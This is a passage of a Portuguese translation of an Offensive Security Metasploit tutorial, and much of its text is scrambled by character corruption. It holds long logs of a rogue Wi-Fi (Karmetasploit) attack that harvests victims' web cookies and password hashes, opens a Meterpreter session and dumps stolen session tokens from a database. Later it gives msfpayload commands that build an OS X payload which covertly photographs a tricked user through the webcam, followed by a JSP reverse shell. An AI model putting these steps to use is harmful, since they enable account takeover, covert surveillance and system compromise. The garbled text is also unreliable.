1!$H6faa1+a:TM?1!=1AA=6(H:LM?1!=1AA=66@:S?sne"R&GM3 I* K0'JV <;E?!!?nLGMMG3lHLaTHqIAI%KGen4>miI6REn>rA3 l">;+Bo s+Am=eLDH).;1ae!A*.%enHa'GltA(.i]+GA!*16iHm6u4]aH16;LyaE'RR%@;01sT6uHHsRGTMf0Alne1-B6 789 HTT" R'^&'ST 1@5@5@51@@ 2 lin1e$in5 om:6@ G'T ,forms5.tml #in$o%s ;' (5@1 oo1ies? 789 HTT" R'^&'ST 1@5@5@51@@ 2 li-eGournal5 om:6@ G'T ,forms5.tml #in$o%s ;' (5@1 oo1ies? 789 HTT" R'^&'ST 1@5@5@51@@ 2 monster5 om:6@ G'T ,forms5.tml #in$o%s ;' (5@1 oo1ies? 789 HTT" R'^&'ST 1@5@5@51@@ 2 mys0a e5 om:6@ G'T ,forms5.tml #in$o%s ;' (5@1 oo1ies? 789 HTT" R'^&'ST 1@5@5@51@@ 2 0laxo5 om:6@ G'T ,forms5.tml #in$o%s ;' (5@1 oo1ies? 789 HTT" R'^&'ST 1@5@5@51@@ 2 ryIe5 om:6@ G'T ,forms5.tml #in$o%s ;' (5@1 oo1ies? 789 Sen$in* MS@A3@!@ ;nternet 'x0lorer O+Ge t Ty0e to 1@5@5@51@@:1!H6555 789 HTT" R'^&'ST 1@5@5@51@@ 2 slas.$ot5or*:6@ G'T ,forms5.tml #in$o%s ;' (5@1 oo1ies? 789 Re ei-e$ 1@5@5@51@@:1A)@ LMHASH:@@ <THASH: OS:#in$o%s !@@@ !14( LM:#in$o%s !@@@ (5@ 555sni0555 789 HTT" R'^&'ST 1@5@5@51@@ 2 %%%5monster5 om:6@ G'T ,forms5.tml #in$o%s ;' (5@1 oo1ies?

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

789 Re ei-e$ 1@5@5@51@@:1A)! TARG'TU"@#<AE LMHASH:=Ha6 f+a!1$6=HAf4 1)H= e$e+a@fa)$ 1 !a=$$4@=+H! <THASH:eaA64+A@( $@4($A!1!=(4H1!!A!=f =H@ae6$4!@(+$f 14 OS:#in$o%s !@@@ !14( LM:#in$o%s !@@@ (5@ 789 Aut.enti atin* to 1@5@5@51@@ as TARG'TU"@#<AE555 789 HTT" R'^&'ST 1@5@5@51@@ 2 %%%5mys0a e5 om:6@ G'T ,forms5.tml #in$o%s ;' (5@1 oo1ies? 789 A&TH'<T;DAT'E as TARG'T"@#<AE555 789 Donne tin* to t.e AEM;<[ s.are555 789 HTT" R'^&'ST 1@5@5@51@@ 2 %%%50laxo5 om:6@ G'T ,forms5.tml #in$o%s ;' (5@1 oo1ies? 789 Re*eneratin* t.e 0ayloa$555 789 &0loa$in* 0ayloa$555 789 HTT" R'^&'ST 1@5@5@51@@ 2 %%%5ryIe5 om:6@ G'T ,forms5.tml #in$o%s ;' (5@1 oo1ies? 789 HTT" R'^&'ST 1@5@5@51@@ 2 %%%5slas.$ot5or*:6@ G'T ,forms5.tml #in$o%s ;' (5@1 oo1ies? 789 HTT" R'^&'ST 1@5@5@51@@ 2 %%%5t%itter5 om:6@ G'T ,forms5.tml #in$o%s ;' (5@1 oo1ies? 789 HTT" R'^&'ST 1@5@5@51@@ 2 %%%5xin*5 om:6@ G'T ,forms5.tml #in$o%s ;' (5@1 oo1ies? 789 HTT" R'^&'ST 1@5@5@51@@ 2 %%%5ya.oo5 om:6@ G'T ,forms5.tml #in$o%s ;' (5@1 oo1ies? 789 HTT" R'^&'ST 1@5@5@51@@ 2 xin*5 om:6@ G'T ,forms5.tml #in$o%s ;' (5@1 oo1ies? 789 HTT" R'^&'ST 1@5@5@51@@ 2 ya.oo5 om:6@ G'T ,forms5.tml #in$o%s ;' (5@1 oo1ies? 789 Dreate$ &xsGor$^5exe555 789 HTT" R'^&'ST 1@5@5@51@@ 2 Ii**s5 om:6@ G'T ,forms5.tml #in$o%s ;' (5@1 oo1ies? 789 Donne tin* to t.e Ser-i e Dontrol Mana*er555 789 HTT" R'^&'ST 1@5@5@51@@ 2 are5 om:6@ G'T , #in$o%s ;' (5@1 oo1ies? 789 HTT" R'^&'ST 1@5@5@51@@ 2 %%%5*at.er5 om:6@ G'T ,forms5.tml #in$o%s ;' (5@1 oo1ies? 789 HTT" R'^&'ST 1@5@5@51@@ 2 %%%5Ii**s5 om:6@ G'T ,forms5.tml #in$o%s ;' (5@1 oo1ies? 789 O+tainin* a ser-i e mana*er .an$le555 789 Dreatin* a ne% ser-i e555 789 Dlosin* ser-i e .an$le555 789 O0enin* ser-i e555 789 Startin* t.e ser-i e555 789 Transmittin* interme$iate sta*er for o-er3siIe$ sta*e555(141 +ytes) 789 Remo-in* t.e ser-i e555 789 Dlosin* ser-i e .an$le555 789 Eeletin* &xsGor$^5exe555 789 Sen$in* A ess Eenie$ to 1@5@5@51@@:1A)! TARG'TU"@#<AE 789 Re ei-e$ 1@5@5@51@@:1A)! LMHASH:@@ <THASH: OS:#in$o%s !@@@ !14( LM:#in$o%s !@@@ (5@ 789 Sen$in* A ess Eenie$ to 1@5@5@51@@:1A)! 789 Re ei-e$ 1@5@5@51@@:1A)( TARG'TU"@#<AE LMHASH:A $1H@a =f6@H!41a1+4@$a!@++6e+!!6 f(@aaf(AHA64H$ <THASH:$$+!+4+e$()faf((H+1aA($A)6Hf ! 6H)@a(+=(f1$1f= $ OS:#in$o%s !@@@ !14( LM:#in$o%s !@@@ (5@ 789 Aut.enti atin* to 1@5@5@51@@ as TARG'TU"@#<AE555 789 A&TH'<T;DAT'E as TARG'T"@#<AE555 789 ;*norin* request from 1@5@5@51@@B atta 1 alrea$y in 0ro*ress5 789 Sen$in* A ess Eenie$ to 1@5@5@51@@:1A)( TARG'TU"@#<AE 789 Sen$in* A00le ^ui 1Time H515A RTS" &R; Buffer O-erflo% to 1@5@5@51@@:1!H6555 789 Sen$in* sta*e (!)(@ +ytes) 789 Sen$in* i".one Mo+ileSafari Li+T;LL Buffer O-erflo% to 1@5@5@51@@:1A)H555 789 HTT" R'^&'ST 1@5@5@51@@ 2 %%%5 are!5 om:6@ G'T , #in$o%s ;' (5@1 oo1ies? 789 Slee0in* +efore .an$lin* sta*e555 789 HTT" R'^&'ST 1@5@5@51@@ 2 %%%5ya.oo5 om:6@ G'T , #in$o%s ;' (5@1 oo1ies? 789 HTT" R'^&'ST 1@5@5@51@@ 2 ya.oo5 om:6@ G'T , #in$o%s ;' (5@1 oo1ies? 789 &0loa$in* ELL (H(H6H +ytes)555 789 &0loa$ om0lete$5 789 Mi*ratin* to lsass5exe555 789 Durrent ser-er 0ro ess: run$llA!5exe (6=6) 789 <e% ser-er 0ro ess: lsass5exe (!A!) 789 Meter0reter session 1 o0ene$ (1@5@5@51:=(@1H 32 1@5@5@51@@:1A)=) msf auxiliary(.tt0) 2 sessions 3l A ti-e sessions ??????????????? ;$ 33 1 Ees ri0tion 33333333333 Meter0reter Tunnel 333333 1@5@5@51:=(@1H 32 1@5@5@51@@:1A)=

Attac5 Ana&:sis
Bo#: Esso foi um monte de sa5da: 2or favor, dedi(ue algum tempo para ler a sa5da e tentar entender o (ue est acontecendo. ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

8amos (uebrar um pouco a sa5da de um pouco a(ui. EGF EGF EGF EGF EGF )M/ )M/ )M/ )M/ )M/ 1060606100<1284 1060606100<1286 1060606100<1286 1060606100<1287 1060606100<1287 W8) W8) W8) W8) W8) 92 93 93 94 94 B8M<<J B8M<<J B8M<<J B8M<<J B8M<<J ecade!76co!H facebook6co!H facebook6co!H $at9e 6co!H $at9e 6co!H

A(ui vemos 30% pes(uisas (ue esto ocorrendo. A maioria destes so iniciadas pelo Uarmetasploit na tentativa de coletar informa6es do cliente.
789 HTT" R'^&'ST 1@5@5@51@@ 2 *mail5*oo*le5 om:6@ G'T ,forms5.tml #in$o%s ;' (5@1 oo1 ies?"R'L?;E?=H=)6) (6!f1A+e):&?e ae 1!$H6faa1+a:TM?1!=1AA=6(H:LM?1!=1AA=66@: S?sne"R&GM3 I* K0'JV<;E?!!?nLGMMG3lHLaTHqIAI%KGen4>miI6REn>rA3l">;+Bo s+Am=eLDH). ;1ae!A*.%enHa'GltA(.i]+GA!*16iHm6u4]aH16;LyaE'RR%@;01sT6uHHsRGTMf0Alne1-B6 789 HTT" R'^&'ST 1@5@5@51@@ 2 *oo*le5 om:6@ G'T ,forms5.tml #in$o%s ;' (5@1 oo1ies?"R'L?;E?=H=)6) (6!f1A+e):&?e ae 1!$H6faa1+a:TM?1!=1AA=6(H:LM?1!=1AA=66@: S?sne"R&GM3 I* K0'JV<;E?!!?nLGMMG3lHLaTHqIAI%KGen4>miI6REn>rA3l">;+Bo s+Am=e LDH).;1ae!A* .%enHa'GltA(.i]+GA!*16iHm6u4]aH16;LyaE'RR%@;01sT6uHHsRGTMf0Alne1-B6

A(ui podemos ver Uarmetasploit coleta informa6es do coo$ie do cliente. Esta informao pode ser 'til para usar em ata(ues contra o usurio posteriormente.
789 Re ei-e$ 1@5@5@51@@:1A)! TARG'TU"@#<AE LMHASH:=Ha6 f+a!1$6=HAf4 1)H= e$e+a@fa)$ 1 !a=$$4@=+H! <THASH:eaA64+A@( $@4($A!1!=(4H1!!A!=f =H@ae6$4!@(+$f 14 OS:#in$o%s !@@@ !14( LM:#in$o%s !@@@ (5@ 789 Aut.enti atin* to 1@5@5@51@@ as TARG'TU"@#<AE555 789 A&TH'<T;DAT'E as TARG'TU"@#<AE555 789 Donne tin* to t.e AEM;<[ s.are555 789 Re*eneratin* t.e 0ayloa$555 789 &0loa$in* 0ayloa$555 789 O+tainin* a ser-i e mana*er .an$le555 789 Dreatin* a ne% ser-i e555 789 Dlosin* ser-i e .an$le555 789 O0enin* ser-i e555 789 Startin* t.e ser-i e555 789 Transmittin* interme$iate sta*er for o-er3siIe$ sta*e555(141 +ytes) 789 Remo-in* t.e ser-i e555 789 Dlosin* ser-i e .an$le555 789 Eeletin* &xsGor$^5exe555 789 Sen$in* A ess Eenie$ to 1@5@5@51@@:1A)! TARG'TU"@#<AE 789 Re ei-e$ 1@5@5@51@@:1A)! LMHASH:@@ <THASH: OS:#in$o%s !@@@ !14( LM:#in$o%s !@@@ (5@ 789 Sen$in* A ess Eenie$ to 1@5@5@51@@:1A)! 789 Re ei-e$ 1@5@5@51@@:1A)( TARG'TU"@#<AE LMHASH:A $1H@a =f6@H!41a1+4@$a!@++6e+!!6 f(@aaf(AHA64H$ <THASH:$$+!+4+e$()faf((H+1aA($A)6Hf ! 6H)@a(+=(f1$1f= $ OS:#in$o%s !@@@ !14( LM:#in$o%s !@@@ (5@ 789 Aut.enti atin* to 1@5@5@51@@ as TARG'TU"@#<AE555 789 A&TH'<T;DAT'E as TARG'TU"@#<AE555 789 ;*norin* request from 1@5@5@51@@B atta 1 alrea$y in 0ro*ress5 789 Sen$in* A ess Eenie$ to 1@5@5@51@@:1A)( TARG'TU"@#<AE 789 Sen$in* A00le ^ui 1Time H515A RTS" &R; Buffer O-erflo% to 1@5@5@51@@:1!H6555 789 Sen$in* sta*e (!)(@ +ytes) 789 Sen$in* i".one Mo+ileSafari Li+T;LL Buffer O-erflo% to 1@5@5@51@@:1A)H555 789 HTT" R'^&'ST 1@5@5@51@@ 2 %%%5 are!5 om:6@ G'T , #in$o%s ;' (5@1 oo1ies? 789 Slee0in* +efore .an$lin* sta*e555 789 HTT" R'^&'ST 1@5@5@51@@ 2 %%%5ya.oo5 om:6@ G'T , #in$o%s ;' (5@1 oo1ies? 789 HTT" R'^&'ST 1@5@5@51@@ 2 ya.oo5 om:6@ G'T , #in$o%s ;' (5@1 oo1ies? 789 &0loa$in* ELL (H(H6H +ytes)555 789 &0loa$ om0lete$5 789 Mi*ratin* to lsass5exe555 789 Durrent ser-er 0ro ess: run$llA!5exe (6=6) 789 <e% ser-er 0ro ess: lsass5exe (!A!) 789 Meter0reter session 1 o0ene$ (1@5@5@51:=(@1H 32 1@5@5@51@@:1A)=)

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

A(ui onde fica realmente interessante: 0/s obtivemos a sen a as es do sistema, (ue pode ento ser usada para identificar as sen as reais. Esto seguido pela criao de uma sesso !eterpreter. Agora, temos acesso ao sistema, vamos ver o (ue podemos fazer com ele.
msf auxiliary(.tt0) 2 sessions 3i 1 789 Startin* intera tion %it. 1555 meter0reter 2 0s "ro ess list ???????????? ";E 333 1== 1H! 14! !!@ !A! !6= A@@ A4) =1) =(! =66 (1! ()6 )A! )4) H)@ 6A! 6=6 6)@ 66= 41) 4(! 11)6 <ame 3333 smss5exe srss5exe %inlo*on5exe ser-i es5exe lsass5exe firefox5exe Xo$a1;m*5exe s- .ost5exe s0ools-5exe s- .ost5exe re*s- 5exe MSTas15exe JM%areSer-i e5exe #inM*mt5exe T"AutoDonnS- 5exe 'x0lorer5exe JM%areTray5exe run$llA!5exe JM%are&ser5exe Rt#Lan5exe T"AutoDonne t5exe SDar$S-r5exe ;'K"LOR'5'K' "at. 3333 USystemRootUSystemA!Usmss5exe UFFUD:U#;<<TUsystemA!U srss5exe UFFUD:U#;<<TUsystemA!U%inlo*on5exe D:U#;<<TUsystemA!User-i es5exe D:U#;<<TUsystemA!Ulsass5exe D:U"ro*ram LilesUMoIilla LirefoxUfirefox5exe D:U"ro*ram LilesU#in$o%s <TUA essoriesU;ma*eJueXo$a1;m*5exe D:U#;<<TUsystemA!Us- .ost5exe D:U#;<<TUsystemA!Us0ools-5exe D:U#;<<TUSystemA!Us- .ost5exe D:U#;<<TUsystemA!Ure*s- 5exe D:U#;<<TUsystemA!UMSTas15exe D:U"ro*ram LilesUJM%areUJM%are ToolsUJM%areSer-i e5exe D:U#;<<TUSystemA!U#B'MU#inM*mt5exe D:U"ro*ram LilesUJM%areUJM%are ToolsUT"AutoDonnS- 5exe D:U#;<<TU'x0lorer5exe D:U"ro*ram LilesUJM%areUJM%are ToolsUJM%areTray5exe D:U#;<<TUsystemA!Urun$llA!5exe D:U"ro*ram LilesUJM%areUJM%are ToolUJM%are&ser5exe D:U"ro*ram LilesUAS&S #iLi3A" SoloURt#Lan5exe D:U"ro*ram LilesUJM%areUJM%are ToolsUT"AutoDonne t5exe D:U#;<<TUSystemA!USDar$S-r5exe D:U"ro*ram LilesU;nternet 'x0lorerU;'K"LOR'5'K'

meter0reter 2 i0 onfi* ,all JM%are A elerate$ AME "D<et A$a0ter Har$%are MAD: @@:@ :!4:6(:61:(( ;" A$$ress : @5@5@5@ <etmas1 : @5@5@5@

Realte1 RTL616H #ireless LA< &SB <;D Har$%are MAD: @@: @: a:1a:eH:$= ;" A$$ress : 1@5@5@51@@ <etmas1 : !((5!((5!((5@

MS TD" Loo0+a Har$%are MAD: ;" A$$ress : <etmas1 :

1 interfa e @@:@@:@@:@@:@@:@@ 1!H5@5@51 !((5@5@5@

meter0reter 2 0%$ D:U#;<<TUsystemA! meter0reter 2 *etui$ Ser-er username: <T A&THOR;TMUSMST'M

!aravil osa. Assim como (ual(uer outro vetor, a nossa sesso !eterperter est funcionando apenas ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

como espervamos. 0o entanto, pode aver muita coisa (ue acontece em Uarmetasploit muito rpido e fazer uso da sa5da para a sa5da padro pode no ser utilizvel. 8e4amos uma outra forma de acessar as informa6es registradas. 8amos interagir com o $arma.db (ue criado no seu diret/rio ome. 2ermite abrir com s(lite, e despe4ar o es(uema.
rootS+t=:aT sqliteA 1arma5$+ S^Lite -ersion A5(54 'nter "5.el0" for instru tions sqlite2 5s .ema DR'AT' TABL' .osts ( 'i$' ;<T'G'R "R;MARM X'M <OT <&LLB ' reate$' T;M'STAM"B 'a$$ress' JARDHAR(1)) &<;^&'B ' omm' JARDHAR(!(()B 'name' JARDHAR(!(()B 'state' JARDHAR(!(()B '$es ' JARDHAR(1@!=)B 'os>name' JARDHAR(!(()B 'os>fla-or' JARDHAR(!(()B 'os>s0' JARDHAR(!(()B 'os>lan*' JARDHAR(!(()B 'ar .' JARDHAR(!(() )V DR'AT' TABL' notes ( 'i$' ;<T'G'R "R;MARM X'M <OT <&LLB ' reate$' T;M'STAM"B '.ost>i$' ;<T'G'RB 'nty0e' JARDHAR((1!)B '$ata' T'KT )V DR'AT' TABL' refs ( 'i$' ;<T'G'R "R;MARM X'M <OT <&LLB 'ref>i$' ;<T'G'RB ' reate$' T;M'STAM"B 'name' JARDHAR((1!) )V DR'AT' TABL' re0orts ( 'i$' ;<T'G'R "R;MARM X'M <OT <&LLB 'tar*et>i$' ;<T'G'RB '0arent>i$' ;<T'G'RB 'entity' JARDHAR((@)B 'ety0e' JARDHAR((@)B '-alue' BLOBB 'notes' JARDHARB 'sour e' JARDHARB ' reate$' T;M'STAM" )V DR'AT' TABL' requests ( '.ost' JARDHAR(!@)B '0ort' ;<T'G'RB 'ssl' ;<T'G'RB 'met.' JARDHAR(!@)B '0at.' BLOBB '.ea$ers' BLOBB 'query' BLOBB '+o$y' BLOBB 'res0 o$e' JARDHAR(()B 'res0.ea$' BLOBB 'res0onse' BLOBB ' reate$' T;M'STAM" )V DR'AT' TABL' ser-i es ( 'i$' ;<T'G'R "R;MARM X'M <OT <&LLB '.ost>i$' ;<T'G'RB ' reate$' T;M'STAM"B '0ort' ;<T'G'R <OT <&LLB

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

'0roto' JARDHAR(1)) <OT <&LLB 'state' JARDHAR(!(()B 'name' JARDHAR(!(()B '$es ' JARDHAR(1@!=) )V DR'AT' TABL' tar*ets ( 'i$' ;<T'G'R "R;MARM X'M <OT <&LLB '.ost' JARDHAR(!@)B '0ort' ;<T'G'RB 'ssl' ;<T'G'RB 'sele te$' ;<T'G'R )V DR'AT' TABL' -ulns ( 'i$' ;<T'G'R "R;MARM X'M <OT <&LLB 'ser-i e>i$' ;<T'G'RB ' reate$' T;M'STAM"B 'name' JARDHAR(1@!=)B '$ata' T'KT )V DR'AT' TABL' -ulns>refs ( 'ref>i$' ;<T'G'RB '-uln>i$' ;<T'G'R )V

*om as informa6es obtidas a partir do es(uema, vamos interagir com os dados (ue recol eu. 2rimeiro, vamos listar todos os sistemas (ue temos registrado a partir de informa6es, em seguida, depois, despe4ar todas as informa6es (ue reunimos (uando estavam ligados.
sqlite2 sele t 8 from .ostsV 1Y!@@43@(3@4 !A:=H:@=Y1@5@5@51@@YYYali-eYY#in$o%sY!@@@YYYx6) sqlite2 sele t 8 from notes %.ere .ost>i$ ? 1V 1Y!@@43@(3@4 !A:=H:@=Y1Y.tt0> oo1iesYen3us5start!5moIilla5 om >>utma?16A6(4)=!51!!1614HAA51!=1AA=66)51!=1AA=66)51!=1AA=66)51V >>utmI?16A6(4)=!51!=1AA=66)51515utm n?(or*ani )Yutm sr?*oo*leYutm tr?firefoxYutm m$?or*ani !Y!@@43@(3@4 !A:=H:@=Y1Y.tt0>requestYen3us5start!5moIilla5 om:6@ G'T ,firefox #in$o%s LL 1545@51@ AY!@@43@(3@4 !A:=H:@(Y1Y.tt0> oo1iesYa$%or$s5*oo*le5 om "R'L?;E?ee)@!4H$!1 !a)e(:&?e ae 1!$H6faa1+a:TM?1!=141A46):LM?1!=14!)64@:GM?1:S?30(nGxSI>o.1inssV <;E?!!?MseA1Rm@"oJ%yMxG6GXD)L-l;q^Msrui"%^r RRnLO>=]@DIBRD;&u -roS>RuGrx)o-3 tKIJX<!XR<=0'R$*!(Jiu*"&@&]^.Tu.6@.<A"--sq!>HART<lGH$*&rB<qV S;E?E^AAAHAAAAE<MtnGqa#"1'B;xfsM^<IEt>fHXy1H1"oMDR]n>]en6IleeLyXr6K&mL-RJ"]oxs$SB&$!!T+^A01n @T o< H-H 'i.1xtHl=(I]raamIaGi4qRD3Kx&40oA=o+'BIGot0.LHoAtLx*T.$H^X#<^]q =Y!@@43@(3@4 !A:=H:@(Y1Y.tt0>requestYa$%or$s5*oo*le5 om:6@ G'T ,forms5.tml #in$o%s LL 1545@51@ (Y!@@43@(3@4 !A:=H:@(Y1Y.tt0>requestY+lo**er5 om:6@ G'T ,forms5.tml #in$o%s LL 1545@51@ )Y!@@43@(3@4 !A:=H:@(Y1Y.tt0>requestY are5 om:6@ G'T ,forms5.tml #in$o%s LL 1545@51@ HY!@@43@(3@4 !A:=H:@(Y1Y.tt0>requestY@5@5@5@:((((@ G'T ,a$s #in$o%s Lirefox A5@51@ 6Y!@@43@(3@4 !A:=H:@)Y1Y.tt0>requestY areer+uil$er5 om:6@ G'T ,forms5.tml #in$o%s LL 1545@51@ 4Y!@@43@(3@4 !A:=H:@)Y1Y.tt0>requestYe a$emy5 om:6@ G'T ,forms5.tml #in$o%s LL 1545@51@ 1@Y!@@43@(3@4 !A:=H:@)Y1Y.tt0> oo1iesYfa e+oo15 om $atr?1!=14!((6A3 1!@eA4e66AA4 @e$f$HAfa+)=!6e$61A!@4)@A$A1+$4$1$ fAV ABT?::T+@a$6a6$f!4 H+af$f41e)H 6)$(6()1st@:1!=!(A@A6=:AT!$$@6) a!a=)e4e(@fff==e@e =6 +611st@:1!=! (A@A6=:BV s>-sn>fa e+oo10o >1?H!)461=4(H=@! 11Y!@@43@(3@4 !A:=H:@)Y1Y.tt0>requestYfa e+oo15 om:6@ G'T ,forms5.tml #in$o%s LL 1545@51@ 1!Y!@@43@(3@4 !A:=H:@)Y1Y.tt0>requestY*at.er5 om:6@ G'T ,forms5.tml #in$o%s LL 1545@51@ 1AY!@@43@(3@4 !A:=H:@)Y1Y.tt0>requestY*mail5 om:6@ G'T ,forms5.tml #in$o%s LL 1545@51@ 1=Y!@@43@(3@4 !A:=H:@)Y1Y.tt0> oo1iesY*mail5*oo*le5 om "R'L?;E?ee)@!4H$!1 !a)e(:&?e ae 1!$H6faa1+a:TM?1!=141A46):LM?1!=14!)64@:GM?1:S?30(nGxSI>o.1inssV <;E?!!?MseA1Rm@"oJ%yMxG6GXD)L-l;q^Msrui"%^r RRnLO>=]@DIBRD;&u -roS>RuGrx)o-3 tKIJX<!XR<=0'R$*!(Jiu*"&@&]^.Tu.6@.<A"--sq!>HART<lGH$*&rB<qV S;E?E^AAAHAAAAE<MtnGqa#"1'B;xfsM^<IEt>fHXy1H1"oMDR]n>]en6IleeLyXr6K&mL-RJ"]oxs$SB&$!!T+^A01n @T o< H-H 'i.1xtHl=(I]raamIaGi4qRD3Kx&40oA=o+'BIGot0.LHoAtLx*T.$H^X#<^]q 1(Y!@@43@(3@4 !A:=H:@HY1Y.tt0>requestY*mail5*oo*le5 om:6@ G'T ,forms5.tml #in$o%s LL 1545@51@ 1)Y!@@43@(3@4 !A:=H:@HY1Y.tt0> oo1iesY*oo*le5 om "R'L?;E?ee)@!4H$!1 !a)e(:&?e ae 1!$H6faa1+a:TM?1!=141A46):LM?1!=14!)64@:GM?1:S?30(nGxSI>o.1inssV <;E?!!?MseA1Rm@"oJ%yMxG6GXD)L-l;q^Msrui"%^r RRnLO>=]@DIBRD;&u -roS>RuGrx)o-3 tKIJX<!XR<=0'R$*!(Jiu*"&@&]^.Tu.6@.<A"--sq!>HART<lGH$*&rB<qV S;E?E^AAAHAAAAE<MtnGqa#"1'B;xfsM^<IEt>fHXy1H1"oMDR]n>]en6IleeLyXr6K&mL-RJ"]oxs$SB&$!!T+^A01n @T o< H-H 'i.1xtHl=(I]raamIaGi4qRD3Kx&40oA=o+'BIGot0.LHoAtLx*T.$H^X#<^]q 1HY!@@43@(3@4 !A:=H:@HY1Y.tt0>requestY*oo*le5 om:6@ G'T ,forms5.tml #in$o%s LL 1545@51@ 16Y!@@43@(3@4 !A:=H:@HY1Y.tt0>requestYlin1e$in5 om:6@ G'T ,forms5.tml #in$o%s LL 1545@51@

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

1@1Y!@@43@(3@4 !A:(@:@AY1Y.tt0> oo1iesYsafe+ro%sin*5 lients5*oo*le5 om "R'L?;E?ee)@!4H$!1 !a)e(:&?e ae 1!$H6faa1+a:TM?1!=141A46):LM?1!=14!)64@:GM?1:S?30(nGxSI>o.1inssV <;E?!!?MseA1Rm@"oJ%yMxG6GXD)L-l;q^Msrui"%^r RRnLO>=]@DIBRD;&u -roS>RuGrx)o-3 tKIJX<!XR<=0'R$*!(Jiu*"&@&]^.Tu.6@.<A"--sq!>HART<lGH$*&rB<qV S;E?E^AAAHAAAAE<MtnGqa#"1'B;xfsM^<IEt>fHXy1H1"oMDR]n>]en6IleeLyXr6K&mL-RJ"]oxs$SB&$!!T+^A01n @T o< H-H 'i.1xtHl=(I]raamIaGi4qRD3Kx&40oA=o+'BIGot0.LHoAtLx*T.$H^X#<^]q 1@!Y!@@43@(3@4 !A:(@:@AY1Y.tt0>requestYsafe+ro%sin*5 lients5*oo*le5 om:6@ "OST ,safe+ro%sin*,$o%nloa$s #in$o%s LL 1545@51@ 1@6Y!@@43@(31@ @@:=A:!4Y1Y.tt0> oo1iesYt%itter5 om aut.>to1en?1!=14A@(A(33 !aA1fa=)!H1=4 (!1+4)(e@$H+$ A)1H$f)ae1f 1@4Y!@@43@(31@ @@:=A:!4Y1Y.tt0> oo1iesY%%%5t%itter5 om aut.>to1en?1!=14A@(A(33 !aA1fa=)!H1=4 (!1+4)(e@$H+$ A)1H$f)ae1f sqlite2

!uito 'til. 2ense no n'mero de maneiras (ue este pode ser utilizado.

MSF (s OS <
9ma das coisas mais interessantes sobre a plataforma !ac como cFmaras esto integradas em todos os laptops. Este fato no passou despercebido pelos desenvolvedores !etasploit, 4 (ue eAiste um m/dulo muito interessante (ue vai tirar uma foto com constru5do na cFmera. 8amos ver isso em ao. 2rimeiro vamos gerar um eAecutvel por si s/ a transferncia para um sistema !ac O% CL
rootS+t=:,0entest,ex0loits,frame%or1AT 5,msf0ayloa$ osx,x6),isi*.t,+in$>t 0 K 2 ,tm0,osxt! Dreate$ +y msf0ayloa$ (.tt0:,,%%%5metas0loit5 om)5 "ayloa$: osx,x6),isi*.t,+in$>t 0 Len*t.: 1== O0tions:

Assim, neste cenrio, enganar o usurio a eAecutar o eAecutvel (ue criamos, ento use KD manipulador multi 1para conectar&se e tomar uma foto do usurio.
msf 2 use multi,.an$ler msf ex0loit(.an$ler) 2 set "AMLOAE osx,x6),isi*.t,+in$>t 0 "AMLOAE ?2 osx,x6),isi*.t,+in$>t 0 msf ex0loit(.an$ler) 2 s.o% o0tions Mo$ule o0tions: <ame 3333 Durrent Settin* 333333333333333 Require$ 33333333 Ees ri0tion 33333333333

"ayloa$ o0tions (osx,x6),isi*.t,+in$>t 0): <ame Durrent Settin* Ees ri0tion 3333 333333333333333 33333333333 A&TOJ;'# true 0i ture in a +ro%ser B&<EL' ,0entest,ex0loits,frame%or1A,$ata,isi*.t5+un$le iSi*.t Ma .3O Bun$le to u0loa$ L"ORT ==== 0ort RHOST a$$ress Require$ 33333333 yes yes yes no Automati ally o0en t.e T.e lo al 0at. to t.e T.e lo al T.e tar*et

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

'x0loit tar*et: ;$ 33 @ <ame 3333 #il$ ar$ Tar*et

msf ex0loit(.an$ler) 2 if onfi* et.@ 789 exe : if onfi* et.@ et.@ Lin1 en a0:'t.ernet H#a$$r @@:@ :!4:aH:f1: ( inet a$$r:1H!51)51@=51(@ B ast:1H!51)51@=5!(( Mas1:!((5!((5!((5@ inet) a$$r: fe6@::!@ :!4ff:feaH:f1 (,)= S o0e:Lin1 &" BROAEDAST R&<<;<G M&LT;DAST MT&:1(@@ Metri :1 RK 0a 1ets:!A=)@4 errors:= $ro00e$:@ o-erruns:@ frame:@ TK 0a 1ets:H1H1@A errors:@ $ro00e$:@ o-erruns:@ arrier:@ ollisions:@ txqueuelen:1@@@ RK +ytes:1(=!A=(1( (1(=5! MB) TK +ytes:(66(6=6= ((656 MB) ;nterru0t:14 Base a$$ress:@x!@@@

msf ex0loit(.an$ler) 2 set RHOST 1H!51)51@=51 RHOST ?2 1H!51)51@=51 msf ex0loit(.an$ler) 2 ex0loit 789 Startin* t.e 0ayloa$ .an$ler555 789 Starte$ +in$ .an$ler 789 Sen$in* sta*e (=!1 +ytes) 789 Slee0in* +efore .an$lin* sta*e555 789 &0loa$in* +un$le (!4(=6 +ytes)555 789 &0loa$ om0lete$5 789 Eo%nloa$in* 0.oto555 789 Eo%nloa$in* 0.oto (1A(H1 +ytes)555 789 ".oto sa-e$ as ,root,5msfA,lo*s,isi*.t,1H!51)51@=51>!@@4@6!15=4(=64@!!5G0* 789 O0enin* 0.oto in a %e+ +ro%ser555 'rror: no $is0lay s0e ifie$ 789 Domman$ s.ell session ! o0ene$ (1H!51)51@=51(@:(H@@6 32 1H!51)51@=51:====) 789 Domman$ s.ell session ! lose$5 msf ex0loit(.an$ler) 2

!uito interessante: 2arece (ue temos uma foto: 8amos ver o (ue parece.

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Amazing. Este um recurso muito poderoso, com pode ser usado para muitas finalidades diferentes. A padronizao da plataforma de ard#are Apple criou uma plataforma bem definida para (ue os atacantes se aproveitam. *om alguns dos mais recentes comete, a possibilidade de utilizar escudos inverter baseados em Zava, permite !etasploit a capacidade de carregar conc as com base em Zava e acesso remoto ao sistema. !uitas vezes as vulnerabilidades vezes "ile&9pload pode ser saboroso tru(ues para n/s. elik;fo t ess</pentest/e"ploits/f a!e5o k3P 6/!sfpa7load Za'a/Zsp>s9ell> e'e se>tcp S0+/T?10610616132 S%+1T?8080 1 = s9ell6Zsp [[ 6/!sfcli e"ploit/!3lti/9andle pa7load?Za'a/Zsp>s9ell> e'e se>tcp S0+/T?10610616132 S%+1T?8080 # EGF %lease 5ait 59ile 5e load t9e !od3le t ee666 EGF /ta ted e'e se 9andle on po t 8080 EGF /ta tin$ t9e pa7load 9andle 666

